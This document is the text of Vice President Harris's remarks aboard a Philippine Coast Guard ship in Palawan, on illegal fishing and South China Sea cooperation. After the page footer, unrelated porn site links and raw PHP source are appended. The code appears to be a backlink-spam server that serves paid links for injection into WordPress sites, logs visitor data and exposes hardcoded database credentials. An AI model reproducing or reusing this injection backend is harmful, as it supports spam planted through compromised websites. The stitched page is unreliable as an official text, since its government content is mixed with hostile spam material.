Remarks by Vice President Harris Aboard the Philippine Coast Guard Ship Teresa Magbanua

By: Office of Vice President

Puerto Princesa, Philippines
THE VICE PRESIDENT:  Good afternoon, everyone.  Good afternoon. Thank you, Mr. Undersecretary, for the warm welcome. It is truly great to be here with all of you — local elected officials, distinguished guests, and community leaders.  And it is an honor to be with members of the Philippine Coast Guard. 

The United States is proud of our longstanding ties with the people of the Philippines. I am here in Palawan to underscore the importance of our partnership in order to create economic opportunities, protect coastal ecosystems, maintain peace and stability, and uphold international rules and norms here in the South China Sea and around the world. 

To uphold international rules and norms is to support the lives and the livelihoods of people throughout the region. 

Earlier today, I heard from local officials in Tagburos about the generations of families that have fished these waters. 

The fisheries of Palawan not only provide food for residents, but serve as the economic lifeblood of this island. 

I met fishers who go out every day and sustainably catch mackerel and tuna.  I spoke with a young woman — her name is Jacqueline — who runs a fish-drying business, a business that has been so successful that she has taught other women how to dry rabbitfish so that they can too participate in a vital industry and benefit from extra income.

Community leaders are also working to help residents adapt to warming waters and extreme weather. 

The stories I have heard make clear this community has come together to sustainably manage natural resources.  

Despite many challenges, I saw the strength and the resilience of the Palawan community.  

However, the vitality of communities like this is at risk.  Communities like this have seen the consequences, and people here know the impacts, when foreign vessels enter Philippine waters and illegally deplete the fishing stock; when they harass and intimidate local fishers; when they pollute the ocean and destroy the marine ecosystem. 

Illegal, unreported, and unregulated fishing — also called IUU — is far too common across the world’s oceans. It presents a direct threat to coastal ecosystems and economies

To help address these maritime issues, the United States is proud to have a strong partnership with the Philippines, which includes the training recently conducted on this very ship with the Philippine Coast Guard and U.S. service members. 

And today I am pleased to announce additional areas of cooperation.

The United States will provide new funding to Philippine maritime law enforcement agencies to increase their capacity to counter IUU fishing, to enhance monitoring systems, and to upgrade equipment. 

This will all build upon new initiatives I launched in May at the U.S.-ASEAN Special Summit in Washington, D.C., to provide more training, assets, and personnel to build maritime law enforcement capabilities across Southeast Asia. 

In addition, we have increased efforts to provide countries in the region with a wider and more accurate picture of their territorial waters. 

In May, in Tokyo, alongside the leaders of Australia, Japan, and India, President Joe Biden launched the Indo-Pacific Partnership for Maritime Domain Awareness.  This initiative uses space-based platforms to deliver a common operating picture of Indo-Pacific waterways and to promote transparency so that our allies and partners can better protect vulnerable fisheries, respond to humanitarian disasters, and detect and counter illicit activities. 

I am pleased to report that the Philippines is already receiving this stream of data alongside other partners here in Southeast Asia.  And we plan to increase this work in the coming months to include launching new satellites into orbit in December to expand this program.

Through USAID, we are also launching a new partnership with local communities here in Palawan to promote sustainable fishing, strengthen food security, and conserve marine ecosystems.

So this is how I see it: To protect the economic vitality of these communities, to protect the ecosystems they rely on, and to protect lives and livelihoods, we must uphold international rules and norms.  And that is why our work here is so very important. 

We must stand up for principles such as respect for sovereignty and territorial integrity, unimpeded lawful commerce, the peaceful resolution of disputes, and the freedom of navigation and overflight in the South China Sea and throughout the Indo-Pacific.  

To the Philippine Coast Guard, you are on the frontlines of standing up for the international rules-based order. 

Each and every day, as you patrol these waters, you uphold the rules and norms that are vital to the prosperity of the Filipino people and people around the world. 

The United States and the broader international community have a profound stake in the future of this region. America’s prosperity relies on the billions of dollars that flow through these waters every day.  And we are proud to work with you in your mission. 

 As an ally, the United States stands with the Philippines in the face of intimidation and coercion in the South China Sea. 

As the United States has long made clear, we support the 2016 ruling of the U.N. arbitral tribunal, which delivered a unanimous and final decision firmly rejecting China’s expansive South China Sea maritime claims.  The tribunal’s decision is legally binding and must be respected. 

We will continue to rally our allies and partners against unlawful and irresponsible behavior.

When the international rules-based order is threatened somewhere, it is threatened everywhere. 

So the rules and norms that I have discussed today, they matter to the United States, to the Philippines, and to communities around the world. 

So to all of you here today, I say: The United States-Philippines alliance is strong.  We are committed to you.  We are committed to your success and to all the lives and livelihoods that rely on your work. 

Thank you.  (Applause.) 

END
Privacy Policy | Unsubscribe
https://www.fapjunk.com https://pornohit.net
header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>